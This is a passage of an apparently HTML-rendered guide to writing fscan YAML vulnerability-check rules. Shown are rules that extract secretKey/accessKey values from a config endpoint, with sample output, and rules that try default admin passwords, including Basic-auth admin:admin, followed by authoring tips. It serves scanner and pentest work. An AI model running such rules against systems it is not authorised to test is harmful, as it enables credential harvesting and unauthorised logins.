&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 9. Info Leak with `search` Extraction
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-info-leak&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/api/v1/config&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;follow_redirects&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;search&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#34;secretKey&amp;#34;:&amp;#34;(?P&amp;lt;secretKey&amp;gt;[^&amp;#34;]+)&amp;#34;.*?&amp;#34;accessKey&amp;#34;:&amp;#34;(?P&amp;lt;accessKey&amp;gt;[^&amp;#34;]+)&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.status == 200 &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.body.bcontains(b&amp;#34;secretKey&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;info&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;vendor product credential leak&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Output when matched:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] PocScan http://10.0.0.1 poc-yaml-vendor-product-info-leak
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * accessKey: AKIAxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * secretKey: abc123...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 10. Weak Password — Sets
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-weak&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;sets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;administrator&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;admin123&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;password&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;Login&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;follow_redirects&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;username={{username}}&amp;amp;password={{password}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.status == 302 ||
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; (response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;Dashboard&amp;#34;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;login&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;admin/admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 11. Weak Password — HTTP Basic Auth
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-weak&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/admin/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 401 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;Unauthorized&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/admin/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Authorization&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Basic YWRtaW46YWRtaW4=&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;Welcome&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;login: admin/admin (base64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;YWRtaW46YWRtaW4=)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Common Mistakes to Avoid
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; &lt;span class="gs"&gt;**Including Host header**&lt;/span&gt; — fscan sets it automatically. Never add &lt;span class="sb"&gt;`Host:`&lt;/span&gt; in rule headers.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; &lt;span class="gs"&gt;**Including Content-Length**&lt;/span&gt; — fscan computes it. Do not include.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; &lt;span class="gs"&gt;**Using `set` and `sets` together**&lt;/span&gt; — they are mutually exclusive.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; &lt;span class="gs"&gt;**Hardcoded magic strings for RCE**&lt;/span&gt; — always use &lt;span class="sb"&gt;`randomInt`&lt;/span&gt; + math proof to avoid false positives.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; &lt;span class="gs"&gt;**Missing `bytes()` conversion**&lt;/span&gt; — CEL is strictly typed. &lt;span class="sb"&gt;`string(rand1 + rand2)`&lt;/span&gt; is a string; you need &lt;span class="sb"&gt;`bytes(string(...))`&lt;/span&gt; to compare with response.body.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;6.&lt;/span&gt; &lt;span class="gs"&gt;**Wrong `bcontains` argument type**&lt;/span&gt; — &lt;span class="sb"&gt;`b&amp;#34;literal&amp;#34;`&lt;/span&gt; creates bytes literal; &lt;span class="sb"&gt;`bytes(&amp;#34;string&amp;#34;)`&lt;/span&gt; converts a string variable to bytes.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;7.&lt;/span&gt; &lt;span class="gs"&gt;**Path includes scheme/host**&lt;/span&gt; — path must start with &lt;span class="sb"&gt;`/`&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;8.&lt;/span&gt; &lt;span class="ge"&gt;**&lt;/span&gt;&lt;span class="sb"&gt;`follow_redirects`&lt;/span&gt; without need** — default false is usually correct. Only set true when the exploit response is behind a redirect.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## `search` Field Details
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Applied to: concatenation of raw response headers + &lt;span class="sb"&gt;`\r\n\r\n`&lt;/span&gt; + response body
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Syntax: Python-style named capture groups &lt;span class="sb"&gt;`(?P&amp;lt;name&amp;gt;pattern)`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; All captures are:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;1.&lt;/span&gt; Printed to output on POC match (sorted alphabetically by key)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;2.&lt;/span&gt; Injected into &lt;span class="sb"&gt;`variableMap`&lt;/span&gt; for use in subsequent rules via &lt;span class="sb"&gt;`{{name}}`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Empty-named groups are silently ignored
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Implementation: &lt;span class="sb"&gt;`WebScan/lib/check.go`&lt;/span&gt;, functions &lt;span class="sb"&gt;`executePoc`&lt;/span&gt; and &lt;span class="sb"&gt;`CheckMultiPoc`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Naming Reference Table
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Vuln Type | Suffix Convention | Example |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|-----------------|---------------------------|---------|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Detection | &lt;span class="sb"&gt;`-detect`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-kibana-detect`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Unauth | &lt;span class="sb"&gt;`-unauth`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-airflow-unauth`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| SQL Injection | &lt;span class="sb"&gt;`-sqli`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-74cms-sqli`&lt;/span&gt; |
